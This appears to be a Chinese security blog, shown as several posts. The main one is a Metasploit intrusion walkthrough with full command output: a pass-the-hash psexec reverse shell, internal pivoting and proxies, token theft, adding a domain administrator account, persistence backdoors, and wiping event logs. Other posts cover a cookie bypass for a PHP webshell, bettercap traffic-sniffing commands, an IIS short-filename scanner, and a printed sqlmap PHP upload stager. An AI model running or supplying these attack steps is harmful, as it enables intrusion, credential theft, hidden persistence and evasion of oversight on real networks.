msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537    

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

0x03 内网渗透


10.42.0.54为target

端口转发

meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54
[*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80

将远程主机3389端口转发到本地1234端口上

内网代理

Windows

meterpreter > run autoroute -s 10.42.0`.54
[*] Adding a route to 10.42.0.54/255.255.255.0...
[+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options    

Module options (auxiliary/server/socks4a):
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
SRVHOST  0.0.0.0          yes       The address to listen on
SRVPORT  1080             yes       The port to listen on.    

Auxiliary action:
Name   Description
----   -----------
Proxy      

msf auxiliary(socks4a) > route print
Active Routing Table
====================
Subnet             Netmask            Gateway
------             -------            -------
10.42.0.54         255.255.255.0      Session 1    

msf auxiliary(socks4a) > ifconfig
[*] exec: ifconfig    

msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx
SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子)    

msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了

SSH代理

msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf > set USER test
USER => test
msf > set PASS reverse
PASS => reverse
msf > set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session
msf > exploit -z
[*] Connecting to dsl@192.168.56.3:22 with password reverse
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28   03:51:16 +1300
[*] Session 1 created in the background.
msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了

当然还是推荐直接用

ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1

偷取Token

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid

方法2

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u    

Delegation Tokens Available
========================================
IIS APPPOOL\zyk
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
QLWEB\Administrator    

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON    

meterpreter > impersonate_token QLWEB\\Administrator
[+] Delegation token available
[+] Successfully impersonated user QLWEB\Administrator
meterpreter > getuid
Server username: QLWEB\Administrator
meterpreter>add_user 0xfa funny –h192.168.3.98  #在域控主机上添加账户
meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98   #将账户添加至域管理员组

如果有了域控:) nidongde

内网扫描

meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit

我还是推荐开代理用Nmap扫描>.<

一些常用的破解模块

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

一些好用的模块

auxiliary/admin/realvnc_41_bypass  (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)

还一些。。。。你懂的脚本 :)

auxiliary/scanner/rsync/modules_list  (Rsync)
auxiliary/scanner/misc/redis_server  (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :))

0x04 AfterWards?


后门:)

一个vbs后门 写入了开机启动项 但是容易被发现 还是需要大家发挥自己的智慧:)    

meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1
[*] Running Persistance Script
[*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333
[*] Persistent agent script is 148453 bytes long
[+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[+] Agent executed with PID 4140
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr

Meterpreter服务后门

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
* Service metsvc successfully installed.

之后电脑就默默生成了一个自启服务Meterpreter

然后连接后门

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 10.42.0.54
RHOST => 10.42.0.54
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit

清理痕迹:)

meterpreter > clearev
[*] Wiping 12348 records from Application...
[*] Wiping 1345 records from System...
[*] Wiping 3 records from Security...

0x05 And So On...


Look it

Tree

Meterpreter太强大~

Silic PHP大马Cookie欺骗漏洞

发布时间:August 27, 2015 // 分类:PHP,代码学习,linux,windows // No Comments

$password="ebd9a3c106064a255aaee28b6eb4f21c";
 
if($_COOKIE['admin_silicpass'] != md5($password)) //如果cookie 里面的admin_silicpass 不等于  md5($password)
{
        ob_start();
        $MSG_TOP = 'LOGIN';
        if(isset($passt))
        {
                $cookietime = time() + 24 * 3600;
                setcookie('admin_silicpass',md5($passt),$cookietime); //问题就是这里  知道了cookied 计算方法完全可以伪造
                if(md5($passt) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');} //看这行 也就是说 $password == $passt 而$password 我们又是知道的 所以就呵呵了
                else{$MSG_TOP = 'PASS IS FALSE';}
        }
Root_Login($MSG_TOP);
ob_end_flush();
exit;
}

更加这个$password 
设置cookie admin_silicpass=b571a9d50cea9d7962781be88992b52a 免密码直接登录了

漏洞比较鸡肋,但不是没用,所以记录下。

https://www.t00ls.net/thread-26062-3-1.html

中间人攻击框架 bettercap 笔记

发布时间:August 26, 2015 // 分类:linux,生活琐事 // No Comments

Mac os x
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
brew install libtins

如果出现了

Unable to resolve dependencies: bettercap requires colorize (~> 0.7.5), packetfu (~> 1.1.10), pcaprub (~> 0.12.0)

那么表示是依赖没有安装好.那么换源继续安装

gem sources —remove https://rubygems.org/
gem sources -a https://ruby.taobao.org/
gem sources -l
sudo gem install colorize
sudo gem install pcaprub
sudo gem install packetfu

 

Linux

安装Ruby

sudo apt-get install ruby-dev libpcap-dev

安装bettercap

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
用法
-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助
示例

默认模式,启用所有功能进行内网Arp欺骗

sudo bettercap -X

截取指定数据包

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

嗅探HTTP通信并保存为pcap文件

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

启用所有功能进行嗅探,并保存为pcap文件

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

 

http://www.1990day.com/bettercap-mitm-framework/

IIS短文件名扫描工具

发布时间:August 25, 2015 // 分类:工作日志,运维工作,开发笔记,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import httplib
import urlparse
import string
import threading
import Queue
import time
import string


class Scanner():
    def __init__(self, target):
        self.target = target
        self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)

        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-')
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
    

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[Exception in function _conn]', e
            return None



    # fetch http response status code
    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request('GET', path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[Exception in function _get_status] %s' % str(e) )



    # test weather the server is vulerable
    def is_vul(self):
        try:
            status_1 = self._get_status(self.path + '/*~1****/a.aspx')    # an existed file/folder
            status_2 = self._get_status(self.path + '/san1e*~1****/a.aspx')    # not existed file/folder
            if status_1 == 404 and status_2 == 400:
                return True
            return False
        except Exception, e:
            raise Exception('[Exception in function is_val] %s' % str(e) )



    def run(self):
        # start from root path
        for payload in self.payloads:
            self.queue.put( (self.path + payload, '****') )    # filename, extention
        for i in range(10):  
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()

    def report(self):
        for t in self.threads:
            t.join()
        self._print('-'* 64)
        for d in self.dirs:
            self._print('Dir:  ' + d)
        for f in self.files:
            self._print('File: ' + f)
        self._print('-'*64)
        self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) )


    def _print(self, msg):
        self.lock.acquire()
        print msg
        self.lock.release()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=3)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self._print('Found ' +  url + ext + '\t[scan in progress]')

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for payload in self.payloads:
                            self.queue.put( (url + payload, ext) )
                    else:
                        if ext == '****':    # begin to scan extention
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + payload + '**') )
                            self.queue.put( (url,'') )    # also it can be a folder
                        elif ext.count('*') == 3:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + payload + '*') )
                        elif ext.count('*') == 2:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) )
                        elif ext == '':
                            self.dirs.append(url + '~1')
                            self._print('Found Dir ' +  url + '~1\t[Done]')

                        elif ext.count('*') == 1:
                            self.files.append(url + '~1.' + ext[1:])
                            self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]')
            except Exception,e:
                break

if len(sys.argv) == 1:
    print 'Usage: %s target' % sys.argv[0]
    sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vul():
    print 'Sorry, server is not vulerable'
    sys.exit(0)

print 'server is vulerable, please wait, scanning...'
s.run()
s.report()

效果图

Sqlmap写文件为空之谜

发布时间:August 18, 2015 // 分类:PHP,linux,windows,转帖文章,python // No Comments

恰逢有一个SQL注入可以通过sqlmap进行,而且权限高得离谱,直接就是root权限。既然是root权限当然是想直接getshell咯。可是只是sqlmap -u xxx --os-shell的时候却失败了

$ sqlmap -u 'http://php.0day5.com/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/0day5/.sqlmap/php.0day5.com'

[*] shutting down at 07:26:14

这里的注入是一个报错的注入,写入失败以为是当前的目录没有可写权限。多次尝试其他的目录都一一失败了。尝试了许久通过其他的办法搞到shell。反过来查看这里为嘛不能写入,查看下/var/www目录的权限

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

看到tmp开头的文件我们就知道是sqlmap创建的文件。文件创建成功了但是文件内容却没有写入。为嘛这里不能写入的呢?思索了许久,直接拿在服务器上直接写入需要执行的sql语句,以当前的权限去执行。

SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'

首先,sqlmap运行的基本要求,提供我的注射参数的输入josh,再接下来,sqlmap运行查询,执行 “LIMIT 0,1 INTO OUTFILE …”语句。输出文件的文件名是随机选择,写入的内容是一个经过转码后的十六进制字符串,解码如下:


<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www> <input type=submit name=upload value=upload></form>";}?>

直接在mysql里面去执行

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

当前结果就跟sqlmap一个样子,得到一个空文件,然而下面的这个语句更有用。

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

以下是原文

Recently I was working with a basic SQLi flaw, and wanted to get OS-level access. Naturally, I turned to sqlmap’s “–os-shell” feature.

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/jwright/.sqlmap/targetserver.mytarget.city.nw'

[*] shutting down at 07:26:14

The server here is vulnerable to SQLi through an error-based injection, but the os-shell fails to upload the file stager. I assumed the /var/www directory was not writable by the MySQL user, tried some other directories that all failed in the same way, and moved on to other techniques. However, later I saw this in the /var/www directory:

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

The files starting with “tmpu” are the stager files created through sqlmap’s os-shell feature. That they are empty explains why sqlmap returned the “unable to upload file stager” error, but since we know the “mysql” account can write here the question remains: why did sqlmap’s os-shell feature fail?

Google’ing for similar situations brought me to Bas’ post describing a similar situation. He manually created the PHP shell with “–sql-shell”, but I wanted to find out why sqlmap failed.

I added a line to the vulnerable login.php script to save queries to a file. Here is what sqlmap does when os-shell is used:

SELECT * FROM user_credentials WHERE `username` = 'josh'
SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'
  • First, sqlmap runs the basic request, supplying my input ‘josh’ for the injectable parameter.
  • Next, sqlmap runs the query again, appending the “LIMIT 0,1 INTO OUTFILE …” declaration. The outfile filename is randomly selected, and sqlmap supplies a custom line terminator for the content to write to the outfile. This is a large hex string, which decodes to the following:
if (isset($_REQUEST["upload"])){$dir=
$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_F
ILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["
tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["na
me"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file
) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else 
{echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=mu
ltipart/form-data><input type=hidden name=MAX_FILE_SIZE value=10000
00000><b>sqlmap file uploader</b><br><input name=file type=file><br
>to directory: <input type=text name=uploadDir value=/var/www> <inp
ut type=submit name=upload value=upload></form>";}?>

Terrific, this is the sqlmap stager. Still, why does it create the file, but not populate the output file? I ran the query manually from a mysql shell to examine the output:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

OK, that SQL creates the empty file, just like sqlmap does. However, this abbreviated query turned out to be more useful:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

DOH! I made the cardinal sin of SQL injection exploitation: I didn’t start with valid data.

